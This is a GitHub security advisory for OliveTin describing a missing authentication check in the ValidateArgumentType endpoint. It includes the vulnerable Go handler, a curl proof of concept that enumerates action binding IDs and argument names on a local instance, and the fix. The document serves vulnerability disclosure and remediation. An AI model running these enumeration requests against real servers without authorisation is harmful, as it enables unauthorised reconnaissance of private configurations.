GHSA-f637-w7p2-m7fx
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/OliveTin/OliveTin | < 0.0.0-20260521230847-a3865704c854 | 0.0.0-20260521230847-a3865704c854 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.
## Details
### Root Cause
The `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check:
```go
func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
if api.argumentNotFoundForValidation(req.Msg) {
return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
}
err := api.validateArgumentTypeInternal(req.Msg)
desc := ""
if err != nil {
desc = err.Error()
}
return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
Valid: err == nil,
Description: desc,
}), nil
}
```
Compare this with adjacent endpoints that DO have auth checks:
```go
// WhoAmI - has auth check
func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
...
}
// GetDashboard - has auth check
func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
...
}
```
### Oracle Behavior
The endpoint provides different responses based on whether the binding and argument exist:
- **Valid binding + valid argument**: Returns `{valid: true/false, description: "..."}` (200 OK)
- **Valid binding + invalid argument**: Returns `CodeNotFound` error
- **Invalid binding**: Returns `CodeNotFound` error
While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.
### Binding ID Predictability
Binding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint.
### Scope
This finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.
When `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`.
## PoC
### Prerequisites
- OliveTin instance with `AuthRequireGuestsToLogin: true` configured
### Step 1: Verify other endpoints require auth
Confirm that regular endpoints reject unauthenticated requests:
```bash
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H "Content-Type: application/json" \
-d "{}"
# Returns: CodePermissionDenied - "guests are not allowed to access the dashboard"
```
### Step 2: Enumerate binding IDs via ValidateArgumentType
Test candidate binding IDs (SHA256 of guessed action titles):
```bash
# Test if an action titled "Ping" exists
BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1)
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}"
# If action exists: returns CodeNotFound (argument "test" not found for this binding)
# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)
```
### Step 3: Enumerate argument names for a known binding
Once a valid binding ID is known, brute-force argument names:
```bash
# Test if argument "target" exists for the Ping action
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}"
# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED
# If argument does not exist: returns CodeNotFound error
```
## Impact
1. **Information Disclosure**: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties.
2. **Reconnaissance for Further Attacks**: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering.
3. **Limited Scope**: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information.
## Recommended Fix
Add authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints:
```go
func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
// Add auth check consistent with other endpoints
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
if api.argumentNotFoundForValidation(req.Msg) {
return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
}
err := api.validateArgumentTypeInternal(req.Msg)
desc := ""
if err != nil {
desc = err.Error()
}
return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
Valid: err == nil,
Description: desc,
}), nil
}
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx
- https://nvd.nist.gov/vuln/detail/CVE-2026-48709
- https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd
- https://github.com/OliveTin/OliveTin
- https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0